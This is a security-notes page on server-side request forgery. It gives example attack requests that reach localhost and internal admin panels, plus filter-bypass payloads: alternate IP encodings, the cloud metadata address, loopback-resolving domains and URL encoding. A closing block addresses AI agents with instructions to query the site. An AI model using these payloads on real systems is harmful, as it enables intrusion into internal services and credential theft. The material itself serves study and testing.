# SSRF (Server Side Request Forgery)

{% embed url="<https://portswigger.net/web-security/ssrf#what-is-ssrf>" %}
Reference
{% endembed %}

Server-side request forgery is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location.

In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems. This could leak sensitive data, such as authorization credentials.

### Common SSRF attacks <a href="#common-ssrf-attacks" id="common-ssrf-attacks"></a>

SSRF attacks often exploit trust relationships to escalate an attack from the vulnerable application and perform unauthorized actions. These trust relationships might exist in relation to the server, or in relation to other back-end systems within the same organization.

#### 1) SSRF attacks against the server <a href="#ssrf-attacks-against-the-server" id="ssrf-attacks-against-the-server"></a>

The attacker causes the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This typically involves supplying a URL with a hostname like `127.0.0.1`

```http
// Normal Request

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
```

<pre class="language-http"><code class="lang-http">// Attacking Request

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=<a data-footnote-ref href="#user-content-fn-1">http://localhost/admin</a>
</code></pre>

#### 2) SSRF attacks against other back-end systems

In some cases, the application server is able to interact with back-end systems that are not directly reachable by users.

```http
// Attacking Request
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://192.168.0.68/admin
```

### Circumventing common SSRF defenses <a href="#circumventing-common-ssrf-defenses" id="circumventing-common-ssrf-defenses"></a>

1\) SSRF with blacklist-based input filters

Some applications block input containing hostnames like `127.0.0.1` and `localhost`, or sensitive URLs like `/admin`. In this situation, you can often circumvent the filter using the following techniques:

[Payloads for SSRF: ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)

(1.1) Use an alternative IP representation of `127.0.0.1`

```
http://localhost:80

http://127.0.0.1:80

http://0/
http://127.1
http://127.0.1

http://0.0.0.0:80

http://[::]:80/

http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254

http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1

localhost:+11211aaa
localhost:00011211aaaa

http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:127.0.0.1]
```

(1.2) Register your own domain name that resolves to `127.0.0.1`. You can use `spoofed.burpcollaborator.net` for this purpose.

<table><thead><tr><th>Domain</th><th>Redirect to</th><th data-hidden></th></tr></thead><tbody><tr><td>localtest.me</td><td><code>::1</code></td><td></td></tr><tr><td>localh.st</td><td><code>127.0.0.1</code></td><td></td></tr><tr><td>spoofed.[BURP_COLLABORATOR]</td><td><code>127.0.0.1</code></td><td></td></tr><tr><td>spoofed.redacted.oastify.com</td><td><code>127.0.0.1</code></td><td></td></tr><tr><td>company.127.0.0.1.nip.io</td><td><code>127.0.0.1</code></td><td></td></tr></tbody></table>

The service nip.io is awesome for that, it will convert any ip address as a dns.

```
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
```

(1.3) Obfuscate blocked strings using URL encoding or case variation.

```
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
```

(1.4) Provide a URL that you control, which redirects to the target URL. Try using different redirect codes, as well as different protocols for the target URL. For example, switching from an `http:` to `https:` URL during the redirect has been shown to bypass some anti-SSRF filters.

#### 2) SSRF with whitelist-based input filters <a href="#ssrf-with-whitelist-based-input-filters" id="ssrf-with-whitelist-based-input-filters"></a>

Some applications only allow inputs that match, a whitelist of permitted values. The filter may look for a match at the beginning of the input, or contained within in it. You may be able to bypass this filter by exploiting inconsistencies in URL parsing.

#### 3) Bypassing SSRF filters via open redirection <a href="#bypassing-ssrf-filters-via-open-redirection" id="bypassing-ssrf-filters-via-open-redirection"></a>

[^1]: The server fetches the contents of the `/admin` URL and returns it to the user.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n0m4dsec.gitbook.io/sec-book/web-vulnerabilities/server-side-vulnerabilities/ssrf-server-side-request-forgery.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.